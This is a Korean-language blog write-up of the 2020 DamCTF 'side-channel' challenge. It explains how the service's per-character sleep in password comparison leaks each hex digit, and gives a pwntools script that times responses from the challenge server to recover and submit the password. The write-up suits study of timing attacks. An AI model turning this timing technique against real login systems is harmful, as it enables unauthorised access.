tmxklab
2020 DamCTF - side-channel(misc) 본문
1. 문제확인
1) side-channel.py
1-1) main()
main함수에서 init_password()를 통해 password 8자리가 0 ~ f범위를 가진 랜덤 값으로 세팅되고 guess_password()가 두 번 실행된다.
1-2) guess_password()
password와 입력 값이랑 문자 1개씩 비교하고 결과가 같지 않으면 0.1 * password[i]의 인덱스 값만큼 sleep된다.
2. 문제 풀이
guess_password()가 두 번 실행되므로 처음 guess_password()에서는 sleep되는 시간을 통해서 password의 값을 유추한다. 그리고 시간 값을 통해서 password의 값을 유추한다.
몇 번 돌리고 나면 실제로 리모트에서는 0이면 0초, 1이면 0.1초 걸리는 것이 아니라 시간이 더 걸리는 것을 알 수 있다. 여튼 몇 번 돌리고 나면 대충 0.3초씩 차이가 나는 것을 확인할 수 있다.
시행착오)
중간에 sleep(1)을 주지 않고 계속 패킷을 보내다 보니 시간이 이상하게 나온 결과가 있었다. 따라서, 중간에 sleep(1)을 주고 하니 제대로 나왔다.
익스코드)
from pwn import *
import time
#context.log_level = "debug"
p = remote("chals.damctf.xyz", 30318)
get_list = []
new_list = []
def cal(cal_list):
for data in cal_list:
if data < 0.46:
new_list.append(str(0))
elif data < 0.76:
new_list.append(str(1))
elif data < 1.06:
new_list.append(str(2))
elif data < 1.36:
new_list.append(str(3))
elif data < 1.66:
new_list.append(str(4))
elif data < 1.96:
new_list.append(str(5))
elif data < 2.26:
new_list.append(str(6))
elif data < 2.55:
new_list.append(str(7))
elif data < 2.86:
new_list.append(str(8))
elif data < 3.16:
new_list.append(str(9))
elif data < 3.46:
new_list.append('a')
elif data < 3.77:
new_list.append('b')
elif data < 4.07:
new_list.append('c')
elif data < 4.3:
new_list.append('d')
elif data < 4.5:
new_list.append('e')
else:
new_list.append('f')
log.info("payload : ")
log.info(new_list)
p.recvuntil("Trial 1\n")
sleep(1)
# 1. trial1 -> cal time taken
for idx in range(8):
sleep(1)
stime = time.time()
p.sendlineafter("?\n", str(0))
if idx < 7:
if p.recvuntil("character"):
taketime = time.time() - stime
else:
if p.recvuntil("Trial 2\n"):
taketime = time.time() - stime
get_list.append(round(taketime, 2))
log.info("password["+str(idx)+"] : "+ str(round(taketime, 2)))
cal(get_list)
sleep(1)
for idx in range(8):
sleep(1)
p.sendlineafter("?\n", new_list[idx])
p.interactive()
실행 결과)
'CTF 문제' 카테고리의 다른 글
2021 DiceCTF - babymix(rev) (0) | 2021.02.09 |
---|---|
2020 DamCTF - schlage(rev) (0) | 2020.10.15 |
2020 DamCTF - allokay(pwn) (0) | 2020.10.15 |
2020 DamCTF - ghostbusters(pwn) (2) | 2020.10.15 |
2020 DownUnderCTF - [misc] homepage (0) | 2020.09.21 |
Comments